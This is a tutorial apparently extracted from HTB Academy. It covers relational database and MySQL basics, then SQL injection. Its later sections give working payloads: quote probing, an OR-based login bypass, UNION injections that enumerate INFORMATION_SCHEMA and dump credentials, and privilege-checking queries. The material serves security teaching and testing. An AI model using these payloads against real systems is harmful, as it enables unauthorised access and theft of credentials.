SQLi Fundamentals 🐢

This content was extracted from HTB Academy

You should check SQLi Payloads 🦊 for further attacks

Types of Databases

Relational Databases

A relational database is the most common type of database. It uses a schema, a template, to dictate the data structure stored in the database. For example, we can imagine a company that sells products to its customers having some form of stored knowledge about where those products go, to whom, and in what quantity. However, this is often done in the back-end and without obvious informing in the front-end. Different types of relational databases can be used for each approach. For example, the first table can store and display basic customer information, the second the number of products sold and their cost, and the third table to enumerate who bought those products and with what payment data.

Tables in a relational database are associated with keys that provide a quick database summary or access to the specific row or column when specific data needs to be reviewed. These tables, also called entities, are all related to each other. For example, the customer information table can provide each customer with a specific ID that can indicate everything we need to know about that customer, such as an address, name, and contact information. Also, the product description table can assign a specific ID to each product. The table that stores all orders would only need to record these IDs and their quantity. Any change in these tables will affect all of them but predictably and systematically.

However, when processing an integrated database, a concept is required to link one table to another using its key, called a relational database management system (RDBMS). Many companies that initially use different concepts are switching to the RDBMS concept because this concept is easy to learn, use and understand. Initially, this concept was used only by large companies. However, many types of databases now implement the RDBMS concept, such as Microsoft Access, MySQL, SQL Server, Oracle, PostgreSQL, and many others.

For example, we can have a users table in a relational database containing columns like id, username, first_name, last_name, and others. The id can be used as the table key. Another table, posts, may contain posts made by all users, with columns like id, user_id, date, content, and so on.

We can link the id from the users table to the user_id in the posts table to retrieve the user details for each post without storing all user details with each post. A table can have more than one key, as another column can be used as a key to link with another table. So, for example, the id column can be used as a key to link the posts table to another table containing comments, each of which belongs to a particular post, and so on.

Note

The relationship between tables within a database is called a Schema.

This way, by using relational databases, it becomes rapid and easy to retrieve all data about a particular element from all databases. So, for example, we can retrieve all details linked to a specific user from all tables with a single query. This makes relational databases very fast and reliable for big datasets with clear structure and design and efficient data management. The most common example of relational databases is MySQL, which we will be covering in this module.

Non-relational Databases

A non-relational database (also called a NoSQL database) does not use tables, rows, and columns or prime keys, relationships, or schemas. Instead, a NoSQL database stores data using various storage models, depending on the type of data stored. Due to the lack of a defined structure for the database, NoSQL databases are very scalable and flexible. Therefore, when dealing with datasets that are not very well defined and structured, a NoSQL database would be the best choice for storing such data. There are four common storage models for NoSQL databases:

Key-Value
Document-Based
Wide-Column
Graph

Each of the above models has a different way of storing data. For example, the Key-Value model usually stores data in JSON or XML, and have a key for each pair, and stores all of its data as its value:

The above example can be represented using JSON as:

{
  "100001": {
    "date": "01-01-2021",
    "content": "Welcome to this web application."
  },
  "100002": {
    "date": "02-01-2021",
    "content": "This is the first post on this web app."
  },
  "100003": {
    "date": "02-01-2021",
    "content": "Reminder: Tomorrow is the ..."
  }
}

It looks similar to a dictionary item in languages like Python or PHP (i.e. {'key':'value'}), where the key is usually a string, and the value can be a string, dictionary, or any class object.

The most common example of a NoSQL database is MongoDB.

Note

Non-relational Databases have a different method for injection, known as NoSQL injections. SQL injections are completely different than NoSQL injections.

Intro to MySQL

Structured Query Language (SQL)

SQL syntax can differ from one RDBMS to another. However, they are all required to follow the ISO standard for Structured Query Language. We will be following the MySQL/MariaDB syntax for the examples shown. SQL can be used to perform the following actions:

Retrieve data
Update data
Delete data
Create new tables and databases
Add / remove users
Assign permissions to these users

Command Line

mysql -u root -p

When we do not specify a host, it will default to the localhost server. We can specify a remote host and port using the -h and -P flags.

mysql -u root -h docker.hackthebox.eu -P 3306 -p

Note

The default MySQL/MariaDB port is (3306), but it can be configured to another port. It is specified using an uppercase P, unlike the lowercase p used for passwords.

Creating a database

Once we log in to the database using the mysql utility, we can start using SQL queries to interact with the DBMS. For example, a new database can be created within the MySQL DBMS using the CREATE DATABASE statement.

CREATE DATABASE users;

MySQL expects command-line queries to be terminated with a semi-colon. The example above created a new database named users. We can view the list of databases with SHOW DATABASES, and we can switch to the users database with the USE statement:

mysql> SHOW DATABASES;
 
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| users              |
+--------------------+
 
mysql> USE users;
 
Database changed

Tables

DBMS stores data in the form of tables. A table is made up of horizontal rows and vertical columns. The intersection of a row and a column is called a cell. Every table is created with a fixed set of columns, where each column is of a particular data type.

A data type defines what kind of value is to be held by a column. Common examples are numbers, strings, date, time, and binary data. There could be data types specific to DBMS as well. A complete list of data types in MySQL can be found here. For example, let us create a table named logins to store user data, using the CREATE TABLE SQL query:

CREATE TABLE logins (
    id INT,
    username VARCHAR(100),
    password VARCHAR(100),
    date_of_joining DATETIME
    );

As we can see, the CREATE TABLE query first specifies the table name, and then (within parentheses) we specify each column by its name and its data type, all being comma separated. After the name and type, we can specify specific properties, as will be discussed later.

mysql> CREATE TABLE logins (
    ->     id INT,
    ->     username VARCHAR(100),
    ->     password VARCHAR(100),
    ->     date_of_joining DATETIME
    ->     );
Query OK, 0 rows affected (0.03 sec)

The SQL queries above create a table named logins with four columns. The first column, id is an integer. The following two columns, username and password are set to strings of 100 characters each. Any input longer than this will result in an error. The date_of_joining column of type DATETIME stores the date when an entry was added.

mysql> SHOW TABLES;
 
+-----------------+
| Tables_in_users |
+-----------------+
| logins          |
+-----------------+
1 row in set (0.00 sec)

A list of tables in the current database can be obtained using the SHOW TABLES statement. In addition, the DESCRIBE keyword is used to list the table structure with its fields and data types.

mysql> DESCRIBE logins;
 
+-----------------+--------------+
| Field           | Type         |
+-----------------+--------------+
| id              | int          |
| username        | varchar(100) |
| password        | varchar(100) |
| date_of_joining | date         |
+-----------------+--------------+
4 rows in set (0.00 sec)

Table Properties

Within the CREATE TABLE query, there are many properties that can be set for the table and each column. For example, we can set the id column to auto-increment using the AUTO_INCREMENT keyword, which automatically increments the id by one every time a new item is added to the table:

 id INT NOT NULL AUTO_INCREMENT,

The NOT NULL constraint ensures that a particular column is never left empty ‘i.e., required field.’ We can also use the UNIQUE constraint to ensures that the inserted item are always unique. For example, if we use it with the username column, we can ensure that no two users will have the same username:

 username VARCHAR(100) UNIQUE NOT NULL,

Another important keyword is the DEFAULT keyword, which is used to specify the default value. For example, within the date_of_joining column, we can set the default value to Now(), which in MySQL returns the current date and time:

date_of_joining DATETIME DEFAULT NOW(),

Finally, one of the most important properties is PRIMARY KEY, which we can use to uniquely identify each record in the table, referring to all data of a record within a table for relational databases, as previously discussed in the previous section. We can make the id column the PRIMARY KEY for this table:

 PRIMARY KEY (id)

The final CREATE TABLE query will be as follows:

CREATE TABLE logins (
    id INT NOT NULL AUTO_INCREMENT,
    username VARCHAR(100) UNIQUE NOT NULL,
    password VARCHAR(100) NOT NULL,
    date_of_joining DATETIME DEFAULT NOW(),
    PRIMARY KEY (id)
    );

SQL Statements

INSERT

The INSERT statement is used to add new records to a given table. The statement following the below syntax:

INSERT INTO table_name VALUES (column1_value, column2_value, column3_value, ...);

The syntax above requires the user to fill in values for all the columns present in the table.

mysql> INSERT INTO logins VALUES(1, 'admin', 'p@ssw0rd', '2020-07-02');
 
Query OK, 1 row affected (0.00 sec)

The example above shows how to add a new login to the logins table, with appropriate values for each column. However, we can skip filling columns with default values, such as id and date_of_joining. This can be done by specifying the column names to insert values into a table selectively:

INSERT INTO table_name(column2, column3, ...) VALUES (column2_value, column3_value, ...);

Note

Skipping columns with the ‘NOT NULL’ constraint will result in an error, as it is a required value.

We can do the same to insert values into the logins table:

mysql> INSERT INTO logins(username, password) VALUES('administrator', 'adm1n_p@ss');
 
Query OK, 1 row affected (0.00 sec)

We inserted a username-password pair in the example above while skipping the id and date_of_joining columns.

Warning

The examples insert cleartext passwords into the table, for demonstration only. This is a bad practice, as passwords should always be hashed/encrypted before storage.

We can also insert multiple records at once by separating them with a comma:

mysql> INSERT INTO logins(username, password) VALUES ('john', 'john123!'), ('tom', 'tom123!');
 
Query OK, 2 rows affected (0.00 sec)
Records: 2  Duplicates: 0  Warnings: 0

SELECT

Now that we have inserted data into tables let us see how to retrieve data with the SELECT statement. This statement can also be used for many other purposes, which we will come across later. The general syntax to view the entire table is as follows:

SELECT * FROM table_name;

The asterisk symbol (*) acts as a wildcard and selects all the columns. The FROM keyword is used to denote the table to select from. It is possible to view data present in specific columns as well:

SELECT column1, column2 FROM table_name;

The query above will select data present in column1 and column2 only.

mysql> SELECT * FROM logins;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)
 
 
mysql> SELECT username,password FROM logins;
 
+---------------+------------+
| username      | password   |
+---------------+------------+
| admin         | p@ssw0rd   |
| administrator | adm1n_p@ss |
| john          | john123!   |
| tom           | tom123!    |
+---------------+------------+
4 rows in set (0.00 sec)

DROP

We can use DROP to remove tables and databases from the server.

mysql> DROP TABLE logins;
 
Query OK, 0 rows affected (0.01 sec)
 
 
mysql> SHOW TABLES;
 
Empty set (0.00 sec)

Warning

The ‘DROP’ statement will permanently and completely delete the table with no confirmation, so it should be used with caution.

ALTER

Finally, We can use ALTER to change the name of any table and any of its fields or to delete or add a new column to an existing table. The below example adds a new column newColumn to the logins table using ADD:

mysql> ALTER TABLE logins ADD newColumn INT;
 
Query OK, 0 rows affected (0.01 sec)

To rename a column, we can use RENAME COLUMN:

mysql> ALTER TABLE logins RENAME COLUMN newColumn TO oldColumn;
 
Query OK, 0 rows affected (0.01 sec)

We can also change a column’s datatype with MODIFY:

mysql> ALTER TABLE logins MODIFY oldColumn DATE;
 
Query OK, 0 rows affected (0.01 sec)

Finally, we can drop a column using DROP:

mysql> ALTER TABLE logins DROP oldColumn;
 
Query OK, 0 rows affected (0.01 sec)

UPDATE

While ALTER is used to change a table’s properties, the UPDATE statement can be used to update specific records within a table, based on certain conditions. Its general syntax is:

UPDATE table_name SET column1=newvalue1, column2=newvalue2, ... WHERE <condition>;

We specify the table name, each column and its new value, and the condition for updating records. Let us look at an example:

mysql> UPDATE logins SET password = 'change_password' WHERE id > 1;
 
Query OK, 3 rows affected (0.00 sec)
Rows matched: 3  Changed: 3  Warnings: 0
 
 
mysql> SELECT * FROM logins;
 
+----+---------------+-----------------+---------------------+
| id | username      | password        | date_of_joining     |
+----+---------------+-----------------+---------------------+
|  1 | admin         | p@ssw0rd        | 2020-07-02 00:00:00 |
|  2 | administrator | change_password | 2020-07-02 11:30:50 |
|  3 | john          | change_password | 2020-07-02 11:47:16 |
|  4 | tom           | change_password | 2020-07-02 11:47:16 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)

Query Results

Sorting Results

We can sort the results of any query using ORDER BY and specifying the column to sort by:

SELECT * FROM logins ORDER BY password;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)

By default, the sort is done in ascending order, but we can also sort the results by ASC or DESC:

mysql> SELECT * FROM logins ORDER BY password DESC;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
4 rows in set (0.00 sec)

It is also possible to sort by multiple columns, to have a secondary sort for duplicate values in one column:

mysql> SELECT * FROM logins ORDER BY password DESC, id ASC;
 
+----+---------------+-----------------+---------------------+
| id | username      | password        | date_of_joining     |
+----+---------------+-----------------+---------------------+
|  1 | admin         | p@ssw0rd        | 2020-07-02 00:00:00 |
|  2 | administrator | change_password | 2020-07-02 11:30:50 |
|  3 | john          | change_password | 2020-07-02 11:47:16 |
|  4 | tom           | change_password | 2020-07-02 11:50:20 |
+----+---------------+-----------------+---------------------+
4 rows in set (0.00 sec)

LIMIT results

In case our query returns a large number of records, we can LIMIT the results to what we want only, using LIMIT and the number of records we want:

mysql> SELECT * FROM logins LIMIT 2;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

If we wanted to LIMIT results with an offset, we could specify the offset before the LIMIT count:

mysql> SELECT * FROM logins LIMIT 1, 2;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

Note

The offset marks the order of the first record to be included, starting from 0. For the above, it starts and includes the 2nd record, and returns two values.

WHERE Clause

To filter or search for specific data, we can use conditions with the SELECT statement using the WHERE clause, to fine-tune the results:

SELECT * FROM table_name WHERE <condition>;

The query above will return all records which satisfy the given condition. Let us look at an example:

mysql> SELECT * FROM logins WHERE id > 1;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-02 11:30:50 |
|  3 | john          | john123!   | 2020-07-02 11:47:16 |
|  4 | tom           | tom123!    | 2020-07-02 11:47:16 |
+----+---------------+------------+---------------------+
3 rows in set (0.00 sec)

The example above selects all records where the value of id is greater than 1. As we can see, the first row with its id as 1 was skipped from the output. We can do something similar for usernames:

mysql> SELECT * FROM logins where username = 'admin';
 
+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  1 | admin    | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

The query above selects the record where the username is admin. We can use the UPDATE statement to update certain records that meet a specific condition.

LIKE Clause

Another useful SQL clause is LIKE, enabling selecting records by matching a certain pattern. The query below retrieves all records with usernames starting with admin:

mysql> SELECT * FROM logins WHERE username LIKE 'admin%';
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  1 | admin         | p@ssw0rd   | 2020-07-02 00:00:00 |
|  4 | administrator | adm1n_p@ss | 2020-07-02 15:19:02 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

The % symbol acts as a wildcard and matches all characters after admin. It is used to match zero or more characters. Similarly, the _ symbol is used to match exactly one character. The below query matches all usernames with exactly three characters in them, which in this case was tom:

mysql> SELECT * FROM logins WHERE username like '___';
 
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  3 | tom      | tom123!  | 2020-07-02 15:18:56 |
+----+----------+----------+---------------------+
1 row in set (0.01 sec)

SQL Operators

Sometimes, expressions with a single condition are not enough to satisfy the user’s requirement. For that, SQL supports Logical Operators to use multiple conditions at once. The most common logical operators are AND, OR, and NOT.

AND

The AND operator takes in two conditions and returns true or false based on their evaluation:

condition1 AND condition2

The result of the AND operation is true if and only if both condition1 and condition2 evaluate to true:

mysql> SELECT 1 = 1 AND 'test' = 'test';
 
+---------------------------+
| 1 = 1 AND 'test' = 'test' |
+---------------------------+
|                         1 |
+---------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT 1 = 1 AND 'test' = 'abc';
 
+--------------------------+
| 1 = 1 AND 'test' = 'abc' |
+--------------------------+
|                        0 |
+--------------------------+
1 row in set (0.00 sec)

In MySQL terms, any non-zero value is considered true, and it usually returns the value 1 to signify true. 0 is considered false. As we can see in the example above, the first query returned true as both expressions were evaluated as true. However, the second query returned false as the second condition 'test' = 'abc' is false.

OR

The OR operator takes in two expressions as well, and returns true when at least one of them evaluates to true:

mysql> SELECT 1 = 1 OR 'test' = 'abc';
 
+-------------------------+
| 1 = 1 OR 'test' = 'abc' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)
 
mysql> SELECT 1 = 2 OR 'test' = 'abc';
 
+-------------------------+
| 1 = 2 OR 'test' = 'abc' |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set (0.00 sec)

The queries above demonstrate how the OR operator works. The first query evaluated to true as the condition 1 = 1 is true. The second query has two false conditions, resulting in false output.

NOT

The NOT operator simply toggles a boolean value ‘i.e. true is converted to false and vice versa’:

mysql> SELECT NOT 1 = 1;
 
+-----------+
| NOT 1 = 1 |
+-----------+
|         0 |
+-----------+
1 row in set (0.00 sec)
 
mysql> SELECT NOT 1 = 2;
 
+-----------+
| NOT 1 = 2 |
+-----------+
|         1 |
+-----------+
1 row in set (0.00 sec)

As seen in the examples above, the first query resulted in false because it is the inverse of the evaluation of 1 = 1, which is true, so its inverse is false. On the other hand, the second was query returned true, as the inverse of 1 = 2 ‘which is false’ is true.

Symbol Operators

The AND, OR and NOT operators can also be represented as &&, || and !, respectively. The below are the same previous examples, by using the symbol operators:

mysql> SELECT 1 = 1 && 'test' = 'abc';
 
+-------------------------+
| 1 = 1 && 'test' = 'abc' |
+-------------------------+
|                       0 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)
 
mysql> SELECT 1 = 1 || 'test' = 'abc';
 
+-------------------------+
| 1 = 1 || 'test' = 'abc' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set, 1 warning (0.00 sec)
 
mysql> SELECT 1 != 1;
 
+--------+
| 1 != 1 |
+--------+
|      0 |
+--------+
1 row in set (0.00 sec)

Multiple Operator Precedence

SQL supports various other operations such as addition, division as well as bitwise operations. Thus, a query could have multiple expressions with multiple operations at once. The order of these operations is decided through operator precedence.

Here is a list of common operations and their precedence, as seen in the MariaDB Documentation:

Division (/), Multiplication (*), and Modulus (%)
Addition (+) and subtraction (-)
Comparison (=, >, <, <=, >=, !=, LIKE)
NOT (!)
AND (&&)
OR (||)

Operations at the top are evaluated before the ones at the bottom of the list. Let us look at an example:

SELECT * FROM logins WHERE username != 'tom' AND id > 3 - 2;

The query has four operations: !=, AND, >, and -. From the operator precedence, we know that subtraction comes first, so it will first evaluate 3 - 2 to 1:

SELECT * FROM logins WHERE username != 'tom' AND id > 1;

Next, we have two comparison operations, > and !=. Both of these are of the same precedence and will be evaluated together. So, it will return all records where username is not tom, and all records where the id is greater than 1, and then apply AND to return all records with both of these conditions:

mysql> select * from logins where username != 'tom' AND id > 3 - 2;
 
+----+---------------+------------+---------------------+
| id | username      | password   | date_of_joining     |
+----+---------------+------------+---------------------+
|  2 | administrator | adm1n_p@ss | 2020-07-03 12:03:53 |
|  3 | john          | john123!   | 2020-07-03 12:03:57 |
+----+---------------+------------+---------------------+
2 rows in set (0.00 sec)

SQL Injections

SQLi Discovery

Before we start subverting the web application’s logic and attempting to bypass the authentication, we first have to test whether the login form is vulnerable to SQL injection. To do that, we will try to add one of the below payloads after our username and see if it causes any errors or changes how the page behaves:

Payload	URL Encoded
`'`	`%27`
`"`	`%22`
`#`	`%23`
`;`	`%3B`
`)`	`%29`

Note

In some cases, we may have to use the URL encoded version of the payload. An example of this is when we put our payload directly in the URL ‘i.e. HTTP GET request’.

OR Injection

We would need the query always to return true, regardless of the username and password entered, to bypass the authentication. To do this, we can abuse the OR operator in our SQL injection.

As previously discussed, the MySQL documentation for operation precedence states that the AND operator would be evaluated before the OR operator. This means that if there is at least one TRUE condition in the entire query along with an OR operator, the entire query will evaluate to TRUE since the OR operator returns TRUE if one of its operands is TRUE.

An example of a condition that will always return true is '1'='1'. However, to keep the SQL query working and keep an even number of quotes, instead of using (‘1’=‘1’), we will remove the last quote and use (‘1’=‘1), so the remaining single quote from the original query would be in its place.

So, if we inject the below condition and have an OR operator between it and the original condition, it should always return true:

admin' or '1'='1

The final query should be as follow:

SELECT * FROM logins WHERE username='admin' or '1'='1' AND password = 'something';

Note

The payload we used above is one of many auth bypass payloads we can use to subvert the authentication logic. You can find a comprehensive list of SQLi auth bypass payloads in PayloadAllTheThings, each of which works on a certain type of SQL queries.

Using Comments

Just like any other language, SQL allows the use of comments as well. Comments are used to document queries or ignore a certain part of the query. We can use two types of line comments with MySQL -- and #, in addition to an in-line comment /**/ (though this is not usually used in SQL injections). The -- can be used as follows:

mysql> SELECT username FROM logins; -- Selects usernames from the logins table 
 
+---------------+
| username      |
+---------------+
| admin         |
| administrator |
| john          |
| tom           |
+---------------+
4 rows in set (0.00 sec)

Note

In SQL, using two dashes only is not enough to start a comment. So, there has to be an empty space after them, so the comment starts with (— ), with a space at the end. This is sometimes URL encoded as (—+), as spaces in URLs are encoded as (+). To make it clear, we will add another (-) at the end (— -), to show the use of a space character.

The # symbol can be used as well.

mysql> SELECT * FROM logins WHERE username = 'admin'; # You can place anything here AND password = 'something'
 
+----+----------+----------+---------------------+
| id | username | password | date_of_joining     |
+----+----------+----------+---------------------+
|  1 | admin    | p@ssw0rd | 2020-07-02 00:00:00 |
+----+----------+----------+---------------------+
1 row in set (0.00 sec)

Tip

If you are inputting your payload in the URL within a browser, a (#) symbol is usually considered as a tag, and will not be passed as part of the URL. In order to use (#) as a comment within a browser, we can use ‘%23’, which is an URL encoded (#) symbol.

Union Clause

Before we start learning about Union Injection, we should first learn more about the SQL Union clause. The Union clause is used to combine results from multiple SELECT statements. This means that through a UNION injection, we will be able to SELECT and dump data from all across the DBMS, from multiple tables and databases. Let us try using the UNION operator in a sample database. First, let us see the content of the ports table:

mysql> SELECT * FROM ports UNION SELECT * FROM ships;
 
+----------+-----------+
| code     | city      |
+----------+-----------+
| CN SHA   | Shanghai  |
| SG SIN   | Singapore |
| Morrison | New York  |
| ZZ-21    | Shenzhen  |
+----------+-----------+
4 rows in set (0.00 sec)

As we can see, UNION combined the output of both SELECT statements into one, so entries from the ports table and the ships table were combined into a single output with four rows. As we can see, some of the rows belong to the ports table while others belong to the ships table.

Note

The data types of the selected columns on all positions should be the same.

Even Columns

A UNION statement can only operate on SELECT statements with an equal number of columns. For example, if we attempt to UNION two queries that have results with a different number of columns, we get the following error:

mysql> SELECT city FROM ports UNION SELECT * FROM ships;
 
ERROR 1222 (21000): The used SELECT statements have a different number of columns

The above query results in an error, as the first SELECT returns one column and the second SELECT returns two. Once we have two queries that return the same number of columns, we can use the UNION operator to extract data from other tables and databases.

For example, if the query is:

SELECT * FROM products WHERE product_id = 'user_input'

We can inject a UNION query into the input, such that rows from another table are returned:

SELECT * from products where product_id = '1' UNION SELECT username, password from passwords-- '

The above query would return username and password entries from the passwords table, assuming the products table has two columns.

Un-even Columns

We will find out that the original query will usually not have the same number of columns as the SQL query we want to execute, so we will have to work around that. For example, suppose we only had one column. In that case, we want to SELECT, we can put junk data for the remaining required columns so that the total number of columns we are UNIONing with remains the same as the original query.

For example, we can use any string as our junk data, and the query will return the string as its output for that column. If we UNION with the string "junk", the SELECT query would be SELECT "junk" from passwords, which will always return junk. We can also use numbers. For example, the query SELECT 1 from passwords will always return 1 as the output.

Note

When filling other columns with junk data, we must ensure that the data type matches the columns data type, otherwise the query will return an error. For the sake of simplicity, we will use numbers as our junk data, which will also become handy for tracking our payloads positions, as we will discuss later.

Tip

For advanced SQL injection, we may want to simply use ‘NULL’ to fill other columns, as ‘NULL’ fits all data types.

The products table has two columns in the above example, so we have to UNION with two columns. If we only wanted to get one column ‘e.g. username’, we have to do username, 2, such that we have the same number of columns:

SELECT * from products where product_id = '1' UNION SELECT username, 2 from passwords

If we had more columns in the table of the original query, we have to add more numbers to create the remaining required columns. For example, if the original query used SELECT on a table with four columns, our UNION injection would be:

UNION SELECT username, 2, 3, 4 from passwords-- '

This query would return:

mysql> SELECT * from products where product_id UNION SELECT username, 2, 3, 4 from passwords-- '
 
+-----------+-----------+-----------+-----------+
| product_1 | product_2 | product_3 | product_4 |
+-----------+-----------+-----------+-----------+
|   admin   |    2      |    3      |    4      |
+-----------+-----------+-----------+-----------+

As we can see, our wanted output of the ‘UNION SELECT username from passwords’ query is found at the first column of the second row, while the numbers filled the remaining columns.

Union Injection

Detect the number of columns

' order by 1-- - #True
' order by 2-- - #True
' order by 3-- - #False

Now we can find the version:

' UNION select 1,@@version,3,4-- -

Database Enumeration

MySQL Fingerprinting

Before enumerating the database, we usually need to identify the type of DBMS we are dealing with. This is because each DBMS has different queries, and knowing what it is will help us know what queries to use.

As an initial guess, if the webserver we see in HTTP responses is Apache or Nginx, it is a good guess that the webserver is running on Linux, so the DBMS is likely MySQL. The same also applies to Microsoft DBMS if the webserver is IIS, so it is likely to be MSSQL. However, this is a far-fetched guess, as many other databases can be used on either operating system or web server. So, there are different queries we can test to fingerprint the type of database we are dealing with.

The following queries and their output will tell us that we are dealing with MySQL:

Payload	When to Use	Expected Output	Wrong Output
`SELECT @@version`	When we have full query output	MySQL Version ‘i.e. `10.3.22-MariaDB-1ubuntu1`’	In MSSQL it returns MSSQL version. Error with other DBMS.
`SELECT POW(1,1)`	When we only have numeric output	`1`	Error with other DBMS
`SELECT SLEEP(5)`	Blind/No Output	Delays page response for 5 seconds and returns `0`.	Will not delay response with other DBMS

INFORMATION_SCHEMA Database

To pull data from tables using UNION SELECT, we need to properly form our SELECT queries. To do so, we need the following information:

List of databases
List of tables within each database
List of columns within each table

With the above information, we can form our SELECT statement to dump data from any column in any table within any database inside the DBMS. This is where we can utilize the INFORMATION_SCHEMA Database.

The INFORMATION_SCHEMA database contains metadata about the databases and tables present on the server. This database plays a crucial role while exploiting SQL injection vulnerabilities. As this is a different database, we cannot call its tables directly with a SELECT statement. If we only specify a table’s name for a SELECT statement, it will look for tables within the same database.

So, to reference a table present in another DB, we can use the dot ‘.’ operator. For example, to SELECT a table users present in a database named my_database, we can use:

SELECT * FROM my_database.users;

Similarly, we can look at tables present in the INFORMATION_SCHEMA Database.

SCHEMATA

To start our enumeration, we should find what databases are available on the DBMS. The table SCHEMATA in the INFORMATION_SCHEMA database contains information about all databases on the server. It is used to obtain database names so we can then query them. The SCHEMA_NAME column contains all the database names currently present.

Let us first test this on a local database to see how the query is used:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA;
 
+--------------------+
| SCHEMA_NAME        |
+--------------------+
| mysql              |
| information_schema |
| performance_schema |
| ilfreight          |
| dev                |
+--------------------+
6 rows in set (0.01 sec)

Now, let’s do the same using a UNION SQL injection, with the following payload:

cn' UNION select 1,schema_name,3,4 from INFORMATION_SCHEMA.SCHEMATA-- -

Once again, we see two databases, ilfreight and dev, apart from the default ones. Let us find out which database the web application is running to retrieve ports data from. We can find the current database with the SELECT database() query. We can do this similarly to how we found the DBMS version in the previous section:

cn' UNION select 1,database(),2,3-- -

Tables

Before we dump data from the dev database, we need to get a list of the tables to query them with a SELECT statement. To find all tables within a database, we can use the TABLES table in the INFORMATION_SCHEMA Database.

The TABLES table contains information about all tables throughout the database. This table contains multiple columns, but we are interested in the TABLE_SCHEMA and TABLE_NAME columns. The TABLE_NAME column stores table names, while the TABLE_SCHEMA column points to the database each table belongs to. This can be done similarly to how we found the database names. For example, we can use the following payload to find the tables within the dev database:

cn' UNION select 1,TABLE_NAME,TABLE_SCHEMA,4 from INFORMATION_SCHEMA.TABLES where table_schema='dev'-- -

Note

Note how we replaced the numbers ‘2’ and ‘3’ with ‘TABLE_NAME’ and ‘TABLE_SCHEMA’, to get the output of both columns in the same query. We added a (where table_schema=‘dev’) condition to only return tables from the ‘dev’ database, otherwise we would get all tables in all databases, which can be many.

Columns

To dump the data of the credentials table, we first need to find the column names in the table, which can be found in the COLUMNS table in the INFORMATION_SCHEMA database. The COLUMNS table contains information about all columns present in all the databases. This helps us find the column names to query a table for. The COLUMN_NAME, TABLE_NAME, and TABLE_SCHEMA columns can be used to achieve this. As we did before, let us try this payload to find the column names in the credentials table:

cn' UNION select 1,COLUMN_NAME,TABLE_NAME,TABLE_SCHEMA from INFORMATION_SCHEMA.COLUMNS where table_name='credentials'-- -

Data

Now that we have all the information, we can form our UNION query to dump data of the username and password columns from the credentials table in the dev database. We can place username and password in place of columns 2 and 3:

cn' UNION select 1, username, password, 4 from dev.credentials-- -

Reading Files

Privileges

Reading data is much more common than writing data, which is strictly reserved for privileged users in modern DBMSes, as it can lead to system exploitation, as we will see. For example, in MySQL, the DB user must have the FILE privilege to load a file’s content into a table and then dump data from that table and read files. So, let us start by gathering data about our user privileges within the database to decide whether we will read and/or write files to the back-end server.

DB User

First, we have to determine which user we are within the database. While we do not necessarily need database administrator (DBA) privileges to read data, this is becoming more required in modern DBMSes, as only DBA are given such privileges. The same applies to other common databases. If we do have DBA privileges, then it is much more probable that we have file-read privileges. If we do not, then we have to check our privileges to see what we can do. To be able to find our current DB user, we can use any of the following queries:

SELECT USER()
SELECT CURRENT_USER()
SELECT user from mysql.user

Our UNION injection payload will be as follows:

cn' UNION SELECT 1, user(), 3, 4-- -

or:

cn' UNION SELECT 1, user, 3, 4 from mysql.user-- -

Which tells us our current user, which in this case is root. This is very promising, as a root user is likely to be a DBA, which gives us many privileges.

User privileges

Now that we know our user, we can start looking for what privileges we have with that user. First of all, we can test if we have super admin privileges with the following query:

SELECT super_priv FROM mysql.user

Once again, we can use the following payload with the above query:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user-- -

If we had many users within the DBMS, we can add WHERE user="root" to only show privileges for our current user root:

cn' UNION SELECT 1, super_priv, 3, 4 FROM mysql.user WHERE user="root"-- -

The query returns Y, which means YES, indicating superuser privileges. We can also dump other privileges we have directly from the schema, with the following query:

cn' UNION SELECT 1, grantee, privilege_type, 4 FROM information_schema.user_privileges-- -

